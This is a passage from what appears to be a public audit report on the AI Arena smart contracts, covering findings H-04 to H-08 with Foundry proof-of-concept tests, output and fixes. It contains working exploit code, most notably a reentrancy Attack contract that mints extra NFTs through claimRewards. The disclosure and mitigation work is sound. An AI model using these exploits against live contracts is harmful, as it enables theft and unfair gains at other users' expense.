Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.56ms
Ran 1 test suite: 1 tests passed, 0 failed, 0 skipped (1 total tests)
The player can also inspect previous transactions that minted a fighter with rare attributes, copy the provided mintPassDnas
and provide them as argument in the redeemMintPass
. The _createNewFighter
function calls AiArenaHelper
to create the physical attributes for the fighter. The probability of attributes is deterministic and since the player provided dna
that already led to a fighter with rare attributes, his fighter will also have rare attributes.
Recommended Mitigation Steps
The main issue is that the mint pass token is not tied to the fighter properties that the player should claim and the player has complete freedom of the inputs. Consider implementing a signature mechanism that prevents the player from changing the fighter’s properties like implemented in claimFighters
brandinho (AI Arena) confirmed
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/10
Status: Mitigation confirmed. Full details in reports from niser93 and fnanni.
[H-04] Since you can reroll with a different fighterType than the NFT you own, you can reroll bypassing maxRerollsAllowed and reroll attributes based on a different fighterType
Submitted by klau5, also found by McToady, Tychai0s (1, 2), vnavascues, d3e4, shaka, alexxander, grearlake, AlexCzm, lanrebayode77, evmboi32, givn, juancito, VAD37, Varun_05, DanielArmstrong, linmiaomiao, 14si2o_Flint, Ryonen, n0kto, alexzoid, ktg, denzi_, Aymen0909, Davide, soliditywala, Aamir, sashik_eth, sl1, nuthan2x, 0xAsen, merlinboii, ke1caM, Draiakoo, petro_1912, MrPotatoMagic, PoeAudits, 0xCiphky, aslanbek, 0xvj, cats (1, 2), yotov721, btk, pynschon, solmaxis69, fnanni, 0xAlix2, 0xKowalski, blutorque, t0x1c, ubl4nk, BARW, radin100, Giorgio, zhaojohnson, 0xlemon, jesjupyter, SpicyMeatball, novamanbg, xchen1130, matejdb, haxatron, 0xAleko, Blank_Space, and Silvermist
Can reroll attributes based on a different fighterType, and can bypass maxRerollsAllowed.
Proof of Concept
maxRerollsAllowed
can be set differently depending on the fighterType
. Precisely, it increases as the generation of fighterType increases.
function incrementGeneration(uint8 fighterType) external returns (uint8) {
require(msg.sender == _ownerAddress);
@> generation[fighterType] += 1;
@> maxRerollsAllowed[fighterType] += 1;
return generation[fighterType];
}
The reRoll
function does not verify if the fighterType
given as a parameter is actually the fighterType
of the given tokenId. Therefore, it can use either 0 or 1 regardless of the actual type of the NFT.
This allows bypassing maxRerollsAllowed
for additional reRoll, and to call _createFighterBase
and createPhysicalAttributes
based on a different fighterType
than the actual NFT’s fighterType
, resulting in attributes calculated based on different criteria.
function reRoll(uint8 tokenId, uint8 fighterType) public {
require(msg.sender == ownerOf(tokenId));
@> require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");
_neuronInstance.approveSpender(msg.sender, rerollCost);
bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
if (success) {
numRerolls[tokenId] += 1;
uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
@> (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
fighters[tokenId].element = element;
fighters[tokenId].weight = weight;
fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
newDna,
@> generation[fighterType],
fighters[tokenId].iconsType,
fighters[tokenId].dendroidBool
);
_tokenURIs[tokenId] = "";
}
}
PoC:
-
First, there is a bug that there is no way to set
numElements
, so add a numElements setter to FighterFarm. This bug has been submitted as a separate report.function numElementsSetterForPoC(uint8 _generation, uint8 _newElementNum) public { require(msg.sender == _ownerAddress); require(_newElementNum > 0); numElements[_generation] = _newElementNum; }
-
Add a test to the FighterFarm.t.sol file and run it. The generation of Dendroid has increased, and
maxRerollsAllowed
has increased. The user who owns the Champion NFT bypassedmaxRerollsAllowed
by putting thefighterType
of Dendroid as a parameter in thereRoll
function.function testPoCRerollBypassMaxRerollsAllowed() public { _mintFromMergingPool(_ownerAddress); // get 4k neuron from treasury _fundUserWith4kNeuronByTreasury(_ownerAddress); // after successfully minting a fighter, update the model if (_fighterFarmContract.ownerOf(0) == _ownerAddress) { uint8 maxRerolls = _fighterFarmContract.maxRerollsAllowed(0); uint8 exceededLimit = maxRerolls + 1; uint8 tokenId = 0; uint8 fighterType = 0; // The Dendroid's generation changed, and maxRerollsAllowed for Dendroid is increased uint8 fighterType_Dendroid = 1; _fighterFarmContract.incrementGeneration(fighterType_Dendroid); assertEq(_fighterFarmContract.maxRerollsAllowed(fighterType_Dendroid), maxRerolls + 1); assertEq(_fighterFarmContract.maxRerollsAllowed(fighterType), maxRerolls); // Champions maxRerollsAllowed is not changed _neuronContract.addSpender(address(_fighterFarmContract)); _fighterFarmContract.numElementsSetterForPoC(1, 3); // this is added function for poc for (uint8 i = 0; i < exceededLimit; i++) { if (i == (maxRerolls)) { // reRoll with different fighterType assertEq(_fighterFarmContract.numRerolls(tokenId), maxRerolls); _fighterFarmContract.reRoll(tokenId, fighterType_Dendroid); assertEq(_fighterFarmContract.numRerolls(tokenId), exceededLimit); } else { _fighterFarmContract.reRoll(tokenId, fighterType); } } } }
Recommended Mitigation Steps
Check fighterType
at reRoll function.
function reRoll(uint8 tokenId, uint8 fighterType) public {
require(msg.sender == ownerOf(tokenId));
require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");
+ require((fighterType == 1 && fighters[tokenId].dendroidBool) || (fighterType == 0 && !fighters[tokenId].dendroidBool), "Wrong fighterType");
_neuronInstance.approveSpender(msg.sender, rerollCost);
bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
if (success) {
numRerolls[tokenId] += 1;
uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
(uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
fighters[tokenId].element = element;
fighters[tokenId].weight = weight;
fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
newDna,
generation[fighterType],
fighters[tokenId].iconsType,
fighters[tokenId].dendroidBool
);
_tokenURIs[tokenId] = "";
}
}
raymondfam (lookout) commented:
This report covers three consequences from the same root cause of fighter type validation: 1. more re-rolls, 2. rarer attribute switch, 3. generation attribute switch, with coded POC.
brandinho (AI Arena) confirmed
hickuphh3 (judge) increased severity to High and commented:
Note: issue 212’s fix is a little more elegant.
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/17
Status: Mitigation confirmed. Full details in reports from niser93, d3e4, and fnanni.
[H-05] Malicious user can stake an amount which causes zero curStakeAtRisk on a loss but equal rewardPoints to a fair user on a win
Submitted by t0x1c, also found by Aamir, peanuts (1, 2), YouCrossTheLineAlfie, ubermensch, d3e4, shaka, alexxander, CodeWasp, 0xDetermination, evmboi32, Honour, DarkTower, ni8mare, Blank_Space, McToady (1, 2), neocrao, PedroZurdo, ZanyBonzy, VAD37, DanielArmstrong, 14si2o_Flint (1, 2), forkforkdog, MidgarAudits, n0kto, Krace, MrPotatoMagic, 0xAadi, 0xBinChook, immeas, btk (1, 2), forgebyola, aslanbek, Draiakoo (1, 2), petro_1912, ktg, israeladelaja, 0xCiphky, Merulez99, swizz, 0rpse, Silvermist, ubl4nk (1, 2), dimulski, erosjohn (1, 2), fnanni, yotov721, Abdessamed, djxploit, csanuragjain (1, 2), Kalogerone, shaflow2, WoolCentaur, Tychai0s, handsomegiraffe, AC000123, VrONTg (1, 2, 3), okolicodes, Velislav4o, and juancito
The _getStakingFactor() function rounds-up the stakingFactor_
to one if its zero. Additionally, the _addResultPoints() function rounds-down the curStakeAtRisk
.
Whenever a player loses and has no accumulated reward points, 0.1% of his staked amount is considered “at risk” and transferred to the _stakeAtRiskAddress
. However due to the above calculation styles, he can stake just 1 wei
of NRN to have zero curStakeAtRisk
in case of a loss and in case of a win, still gain the same amount of reward points as a player staking 4e18-1
wei of NRN.
Let’s look at three cases of a player with ELO as 1500:
Case | Staked NRN | stakingFactor calculated by the protocol | Reward Points accumulated in case of a WIN | NRNs lost (stake at risk) in case of a LOSS |
---|---|---|---|---|
1 | 4 | 2 | 1500 | 0.004 |
2 | 3.999999999999999999 | 1 | 750 | 0.003999999999999999 |
3 | 0.000000000000000001 | 1 | 750 | 0 |
As can be seen in Case2 vs Case3, a player staking 0.000000000000000001 NRN
(1 wei) has the same upside in case of a win as a player staking 3.999999999999999999 NRN
(4e18-1 wei) while their downside is 0
.
Proof of Concept
Add the following test inside test/RankedBattle.t.sol
and run via forge test -vv --mt test_t0x1c_UpdateBattleRecord_SmallStake
to see the ouput under the 3 different cases:
function test_t0x1c_UpdateBattleRecord_SmallStake() public {
address player = vm.addr(3);
_mintFromMergingPool(player);
uint8 tokenId = 0;
_fundUserWith4kNeuronByTreasury(player);
// snapshot the current state
uint256 snapshot0 = vm.snapshot();
vm.prank(player);
_rankedBattleContract.stakeNRN(4e18, 0);
console.log("\n\n==================================== CASE 1 ==========================================================");
emit log_named_decimal_uint("Stats when staked amount =", 4e18, 18);
// snapshot the current state
uint256 snapshot0_1 = vm.snapshot();
vm.prank(address(_GAME_SERVER_ADDRESS));
_rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); // if player had won
(uint256 wins,,) = _rankedBattleContract.fighterBattleRecord(tokenId);
assertEq(wins, 1);
console.log("\n---------------------------------- IF WON ---------------------------------------------------");
console.log("accumulatedPointsPerFighter =:", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);
// Restore to snapshot state
vm.revertTo(snapshot0_1);
vm.prank(address(_GAME_SERVER_ADDRESS));
_rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); // if player had lost
(,, uint256 losses) = _rankedBattleContract.fighterBattleRecord(tokenId);
assertEq(losses, 1);
console.log("\n---------------------------------- IF LOST ---------------------------------------------------");
console.log("accumulatedPointsPerFighter =", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);
// Restore to snapshot state
vm.revertTo(snapshot0);
vm.prank(player);
_rankedBattleContract.stakeNRN(4e18-1, 0);
console.log("\n\n==================================== CASE 2 ==========================================================");
emit log_named_decimal_uint("Stats when staked amount =", 4e18-1, 18);
// snapshot the current state
uint256 snapshot1_1 = vm.snapshot();
vm.prank(address(_GAME_SERVER_ADDRESS));
_rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); // if player had won
(wins,,) = _rankedBattleContract.fighterBattleRecord(tokenId);
assertEq(wins, 1);
console.log("\n---------------------------------- IF WON ---------------------------------------------------");
console.log("accumulatedPointsPerFighter =:", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);
// Restore to snapshot state
vm.revertTo(snapshot1_1);
vm.prank(address(_GAME_SERVER_ADDRESS));
_rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); // if player had lost
(,, losses) = _rankedBattleContract.fighterBattleRecord(tokenId);
assertEq(losses, 1);
console.log("\n---------------------------------- IF LOST ---------------------------------------------------");
console.log("accumulatedPointsPerFighter =", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);
// Restore to snapshot state
vm.revertTo(snapshot0);
vm.prank(player);
_rankedBattleContract.stakeNRN(1, 0);
console.log("\n\n==================================== CASE 3 ==========================================================");
emit log_named_decimal_uint("Stats when staked amount =", 1, 18);
// snapshot the current state
uint256 snapshot2_1 = vm.snapshot();
vm.prank(address(_GAME_SERVER_ADDRESS));
_rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); // if player had won
(wins,,) = _rankedBattleContract.fighterBattleRecord(tokenId);
assertEq(wins, 1);
console.log("\n---------------------------------- IF WON ---------------------------------------------------");
console.log("accumulatedPointsPerFighter =:", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);
// Restore to snapshot state
vm.revertTo(snapshot2_1);
vm.prank(address(_GAME_SERVER_ADDRESS));
_rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); // if player had lost
(,, losses) = _rankedBattleContract.fighterBattleRecord(tokenId);
assertEq(losses, 1);
console.log("\n---------------------------------- IF LOST ---------------------------------------------------");
console.log("accumulatedPointsPerFighter =", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);
}
Output:
==================================== CASE 1 ==========================================================
Stats when staked amount =: 4.000000000000000000
---------------------------------- IF WON ---------------------------------------------------
accumulatedPointsPerFighter =: 1500
getStakeAtRisk =: 0.000000000000000000
_rankedBattleContract NRN balance =: 4.000000000000000000
_stakeAtRiskContract NRN balance =: 0.000000000000000000
---------------------------------- IF LOST ---------------------------------------------------
accumulatedPointsPerFighter = 0
getStakeAtRisk =: 0.004000000000000000
_rankedBattleContract NRN balance =: 3.996000000000000000
_stakeAtRiskContract NRN balance =: 0.004000000000000000
==================================== CASE 2 ==========================================================
Stats when staked amount =: 3.999999999999999999
---------------------------------- IF WON ---------------------------------------------------
accumulatedPointsPerFighter =: 750
getStakeAtRisk =: 0.000000000000000000
_rankedBattleContract NRN balance =: 3.999999999999999999
_stakeAtRiskContract NRN balance =: 0.000000000000000000
---------------------------------- IF LOST ---------------------------------------------------
accumulatedPointsPerFighter = 0
getStakeAtRisk =: 0.003999999999999999
_rankedBattleContract NRN balance =: 3.996000000000000000
_stakeAtRiskContract NRN balance =: 0.003999999999999999
==================================== CASE 3 ==========================================================
Stats when staked amount =: 0.000000000000000001
---------------------------------- IF WON ---------------------------------------------------
accumulatedPointsPerFighter =: 750
getStakeAtRisk =: 0.000000000000000000
_rankedBattleContract NRN balance =: 0.000000000000000001
_stakeAtRiskContract NRN balance =: 0.000000000000000000
---------------------------------- IF LOST ---------------------------------------------------
accumulatedPointsPerFighter = 0
getStakeAtRisk =: 0.000000000000000000
_rankedBattleContract NRN balance =: 0.000000000000000001
_stakeAtRiskContract NRN balance =: 0.000000000000000000
Tools used
Foundry
Recommended Mitigation Steps
Protocol can choose to set a minimum stake amount of 4 NRN
(4e18 wei). One needs to take care that even after a partial unstake, this amount is not allowed to go below 4 NRN
.
Also, do not round up stakingFactor_
i.e. remove L530-L532. An additional check can be added too which ensures that stakingFactor_
is greater than zero:
File: src/RankedBattle.sol
519: function _getStakingFactor(
520: uint256 tokenId,
521: uint256 stakeAtRisk
522: )
523: private
524: view
525: returns (uint256)
526: {
527: uint256 stakingFactor_ = FixedPointMathLib.sqrt(
528: (amountStaked[tokenId] + stakeAtRisk) / 10**18
529: );
- 530: if (stakingFactor_ == 0) {
- 531: stakingFactor_ = 1;
- 532: }
+ 532: require(stakingFactor_ > 0, "stakingFactor_ = 0");
533: return stakingFactor_;
534: }
The above fixes would ensure that curStakeAtRisk
can never be gamed to 0 while still having a positive reward potential.
It’s may also be a good idea to have a provision to return any “extra” staked amount. For example, if only 4 NRN is required to achieve a stakingFactor of 1 and the player stakes 4.5 NRN, then the extra 0.5 NRN could be returned. This however is up to the protocol to consider.
raymondfam (lookout) commented:
Strategic dodging to avoid penalty. Might as well fully unstake to make curStakeAtRisk 0. However, points would be zero if at risk penalty were to kick in.
hickuphh3 (judge) increased severity to High
[H-06] FighterFarm::reRoll
won’t work for nft id greater than 255 due to input limited to uint8
Submitted by abhishek_thaku_r, also found by pontifex, Fulum, 0xDetermination, Greed, givn, stakog, offside0011, maxim371, ktg, alexzoid, immeas, sashik_eth, korok, Draiakoo, MrPotatoMagic, PoeAudits, Tychai0s, ahmedaghadi, kartik_giri_47538, iamandreiski, fnanni, 0xAlix2, klau5, dimulski, 0xShitgem, yotov721, kiqo, and swizz
FighterFarm::reRoll
uses uint8 for nft id as input, which will stop people calling this function who owns id greater than 255. It will lead to not being able to use the reRoll to get random traits, which could have been better for there game performance.
Proof of Concept
Affect code can be seen here.
Adding code snippet below as well, for better clarity:
/// @notice Rolls a new fighter with random traits.
/// @param tokenId ID of the fighter being re-rolled.
/// @param fighterType The fighter type.
@> function reRoll(uint8 tokenId, uint8 fighterType) public {
require(msg.sender == ownerOf(tokenId));
require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");
_neuronInstance.approveSpender(msg.sender, rerollCost);
bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
if (success) {
numRerolls[tokenId] += 1;
uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
(uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
fighters[tokenId].element = element;
fighters[tokenId].weight = weight;
fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
newDna,
generation[fighterType],
fighters[tokenId].iconsType,
fighters[tokenId].dendroidBool
);
_tokenURIs[tokenId] = "";
}
}
If you notice the highlighted line (first line of function), it takes uint8
as input for tokenId
parameter. Which will restrict users to call this function when they own nft id greater than 255.
Value will go out of bounds when user will input 256 or more.
Recommended Mitigation Steps
Use uint256 for nft id input to fix the issue.
- function reRoll(uint8 tokenId, uint8 fighterType) public {
+ function reRoll(uint256 tokenId, uint8 fighterType) public {
require(msg.sender == ownerOf(tokenId));
require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");
_neuronInstance.approveSpender(msg.sender, rerollCost);
bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
if (success) {
numRerolls[tokenId] += 1;
uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
(uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
fighters[tokenId].element = element;
fighters[tokenId].weight = weight;
fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
newDna,
generation[fighterType],
fighters[tokenId].iconsType,
fighters[tokenId].dendroidBool
);
_tokenURIs[tokenId] = "";
}
}
raymondfam (lookout) commented:
Unsigned integer type limitation indeed.
brandinho (AI Arena) confirmed
Fixed reRoll for fighters with tokenIds greater than 255.
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/1
Status: Mitigation confirmed. Full details in reports from niser93, d3e4, and fnanni.
[H-07] Fighters cannot be minted after the initial generation due to uninitialized numElements
mapping
Submitted by haxatron, also found by visualbits, vnavascues, sandy, shaka, alexxander, evmboi32, DarkTower, VAD37, 0xStriker, DanielArmstrong (1, 2), 14si2o_Flint, MidgarAudits, Ryonen, KupiaSec, Topmark, 0xmystery, AgileJune, immeas, MrPotatoMagic, sashik_eth, soliditywala, nuthan2x, 0xaghas, merlinboii, VrONTg, Krace, ke1caM, Draiakoo, petro_1912, PoeAudits, ktg, 0xCiphky, Tychai0s, EagleSecurity, lil_eth, 0xvj, _eperezok, pkqs90, pynschon, peter, Aamir, sl1, 0xAlix2, fnanni, alexzoid, blutorque, cartlex_, Giorgio, radin100, klau5, t0x1c, WoolCentaur, jesjupyter, aslanbek, SpicyMeatball, 0xbranded, Varun_05, d3e4, juancito, 0xlamide, Aymen0909, btk, devblixt, and ubl4nk
In FighterFarm.sol
there is a mapping numElements
which stores the number of possible types of elements a fighter can have in a generation:
/// @notice Mapping of number elements by generation.
mapping(uint8 => uint8) public numElements;
But the problem here is that only the initial generation, Generation 0, is initialized to 3, in the numElements
mapping during the constructor of FighterFarm.sol
.
/// @notice Sets the owner address, the delegated address.
/// @param ownerAddress Address of contract deployer.
/// @param delegatedAddress Address of delegated signer for messages.
/// @param treasuryAddress_ Community treasury address.
constructor(address ownerAddress, address delegatedAddress, address treasuryAddress_)
ERC721("AI Arena Fighter", "FTR")
{
_ownerAddress = ownerAddress;
_delegatedAddress = delegatedAddress;
treasuryAddress = treasuryAddress_;
numElements[0] = 3;
}
It is therefore not possible to write to the numElements
mapping for any other generations. As they are uninitialized, numElements[i] = 0
when i != 0
Moreover, this numElements
mapping is read from when creating a fighter.
/// @notice Creates the base attributes for the fighter.
/// @param dna The dna of the fighter.
/// @param fighterType The type of the fighter.
/// @return Attributes of the new fighter: element, weight, and dna.
function _createFighterBase(
uint256 dna,
uint8 fighterType
)
private
view
returns (uint256, uint256, uint256)
{
=> uint256 element = dna % numElements[generation[fighterType]]; // numElements is 0 when generation[fighterType] != 0.
uint256 weight = dna % 31 + 65;
uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
return (element, weight, newDna);
}
Therefore if the protocol updates to a new generation of fighters, it will not be able to create anymore new fighters as numElements[generation[fighterType]]
will be uninitialized and therefore equal 0. This will cause the transaction to always revert as any modulo by 0 will cause a panic according to Solidity Docs
Modulo with zero causes a Panic error. This check can not be disabled through unchecked { … }.
Recommended Mitigation Steps
Allow the admin to update the numElements
mapping when a new generation is created.
raymondfam (lookout) commented:
Missing
numElements[generation[fighterType]]
setter.
brandinho (AI Arena) confirmed
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/7
Status: Mitigation confirmed. Full details in reports from niser93, d3e4, and fnanni.
[H-08] Player can mint more fighter NFTs during claim of rewards by leveraging reentrancy on the claimRewards() function
Submitted by DarkTower, also found by alexxander, 0brxce, BoRonGod, 0xDetermination, evmboi32, grearlake, PedroZurdo, BARW, sl1, Krace, Zac, Tricko, Aymen0909, immeas, rouhsamad, sashik_eth, ke1caM, 0xCiphky, MrPotatoMagic, jnforja, 0xBinChook, web3pwn, 0xLogos, bhilare_, Kow, ubl4nk, zxriptor, djxploit, solmaxis69, klau5, haxatron, and ZanyBonzy
When a fighting round ends, winners for the current round get picked and allocated respective rewards. These rewards are fighter NFTs that can be claimed by such winners. When you claim your rewards for a round or several rounds, the numRoundsClaimed
state variable which stores the number of rounds you’ve claimed for gets updated to reflect your claim and each winner can only ever claim up to the amounts they win for each given round. That means if you try to batch-claim for two given rounds for which you won 2 fighter NFTs, your NFT count after the claim should be whatever your current balance of NFT is plus 2 fighter NFTs.
The issue here is that there’s a way to mint additional fighter NFTs on top of the fighter NFTs you’re owed for winning even though the claimRewards
function has implemented a decent system to prevent over-claims. For one, it’s relatively complex to spoof a call pretending to be the _mergingPoolAddress
to mint but a malicious user doesn’t need to worry too much about that to mint more fighters; they just need to leverage using a smart contract for engineering a simple reentrancy.
Proof of Concept
Consider this call path that allows a malicious user to reach this undesired state:
- In-session fight round gets finalized.
- An admin picks winners for the just finalized round.
- Alice, one of the winners is entitled to 2 fighter NFTs just like Bob and decides to claim rewards for the rounds she participated in but keep in mind she joined the game with a smart contract.
- Alice calls
claimRewards
supplying the args(string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes)
- Those are valid arguments, hence the loop proceeds to make 2 NFT mints to her address.
- Her address, being a smart contract manages to reenter the call to mint additional NFTs.
- Alice ends up with more fighter NFTs instead of 2. Bob, who is an EOA gets the 2 NFTs he’s owed but Alice has managed to gain more.
The root cause of this issue stems from the roundId
. The amount of times you can reenter the claimRewards
function depends on the roundId
. So let’s say the roundId
is 3, it mints 6 NFTs:
- First loop mints once
- Reenter mints the second time
- Reenter again mints the third time
- Cannot reenter anymore
- Control is released so the call goes back to the second loop & finishes the mint
- Call goes back & finishes the second and third mint
- Alice or malicious caller ends up with 6 NFTs instead of 3
Here’s a POC to show one such attack path in the code
Place the code in the MergingPool.t.sol
test contract and do the setup: testReenterPOC
is the attack POC test
Attack contract:
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract Attack is IERC721Receiver {
address owner;
uint256 tickets = 0;
MergingPool mergingPool;
FighterFarm fighterFarm;
constructor(address mergingPool_, address fighterFarm_) {
mergingPool = MergingPool(mergingPool_);
fighterFarm = FighterFarm(fighterFarm_);
owner = msg.sender;
}
function reenter() internal {
++tickets;
if (tickets < 100) {
(string[] memory _modelURIs, string[] memory _modelTypes, uint256[2][] memory _customAttributes) = setInformation();
mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes);
}
}
function onERC721Received(address, address, uint256 tokenId, bytes calldata) public returns (bytes4) {
reenter();
return IERC721Receiver.onERC721Received.selector;
}
function attack() public {
(string[] memory _modelURIs, string[] memory _modelTypes, uint256[2][] memory _customAttributes) = setInformation();
mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes);
}
function setInformation() public pure returns (string[] memory, string[] memory, uint256[2][] memory) {
string[] memory _modelURIs = new string[](3);
_modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
_modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
_modelURIs[2] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
string[] memory _modelTypes = new string[](3);
_modelTypes[0] = "original";
_modelTypes[1] = "original";
_modelTypes[2] = "original";
uint256[2][] memory _customAttributes = new uint256[2][](3);
_customAttributes[0][0] = uint256(1);
_customAttributes[0][1] = uint256(80);
_customAttributes[1][0] = uint256(1);
_customAttributes[1][1] = uint256(80);
_customAttributes[2][0] = uint256(1);
_customAttributes[2][1] = uint256(80);
return (_modelURIs, _modelTypes, _customAttributes);
}
}
function testReenterPOC() public {
address Bob = makeAddr("Bob");
Attack attacker = new Attack(address(_mergingPoolContract), address(_fighterFarmContract));
_mintFromMergingPool(address(attacker));
_mintFromMergingPool(Bob);
assertEq(_fighterFarmContract.ownerOf(0), address(attacker));
assertEq(_fighterFarmContract.ownerOf(1), Bob);
uint256[] memory _winners = new uint256[](2);
_winners[0] = 0;
_winners[1] = 1;
// winners of roundId 0 are picked
_mergingPoolContract.pickWinner(_winners);
assertEq(_mergingPoolContract.isSelectionComplete(0), true);
assertEq(_mergingPoolContract.winnerAddresses(0, 0) == address(attacker), true);
// winner matches ownerOf tokenId
assertEq(_mergingPoolContract.winnerAddresses(0, 1) == Bob, true);
string[] memory _modelURIs = new string[](2);
_modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
_modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
string[] memory _modelTypes = new string[](2);
_modelTypes[0] = "original";
_modelTypes[1] = "original";
uint256[2][] memory _customAttributes = new uint256[2][](2);
_customAttributes[0][0] = uint256(1);
_customAttributes[0][1] = uint256(80);
_customAttributes[1][0] = uint256(1);
_customAttributes[1][1] = uint256(80);
// winners of roundId 1 are picked
uint256 numberOfRounds = _mergingPoolContract.roundId();
console.log("Number of Rounds: ", numberOfRounds);
_mergingPoolContract.pickWinner(_winners);
_mergingPoolContract.pickWinner(_winners);
console.log("------------------------------------------------------");
console.log("Balance of attacker (Alice) address pre-claim rewards: ", _fighterFarmContract.balanceOf(address(attacker)));
// console.log("Balance of Bob address pre-claim rewards: ", _fighterFarmContract.balanceOf(Bob));
uint256 numRewardsForAttacker = _mergingPoolContract.getUnclaimedRewards(address(attacker));
// uint256 numRewardsForBob = _mergingPoolContract.getUnclaimedRewards(Bob);
console.log("------------------------------------------------------");
console.log("Number of unclaimed rewards attacker (Alice) address has a claim to: ", numRewardsForAttacker);
// console.log("Number of unclaimed rewards Bob address has a claim to: ", numRewardsForBob);
// vm.prank(Bob);
// _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
vm.prank(address(attacker));
attacker.attack();
uint256 balanceOfAttackerPostClaim = _fighterFarmContract.balanceOf(address(attacker));
console.log("------------------------------------------------------");
console.log("Balance of attacker (Alice) address post-claim rewards: ", balanceOfAttackerPostClaim);
// console.log("Balance of Bob address post-claim rewards: ", _fighterFarmContract.balanceOf(Bob));
}
Malicious user leveraging reentrancy test result:
[PASS] testReenterPOC() (gas: 3999505)
Logs:
Number of Rounds: 1
------------------------------------------------------
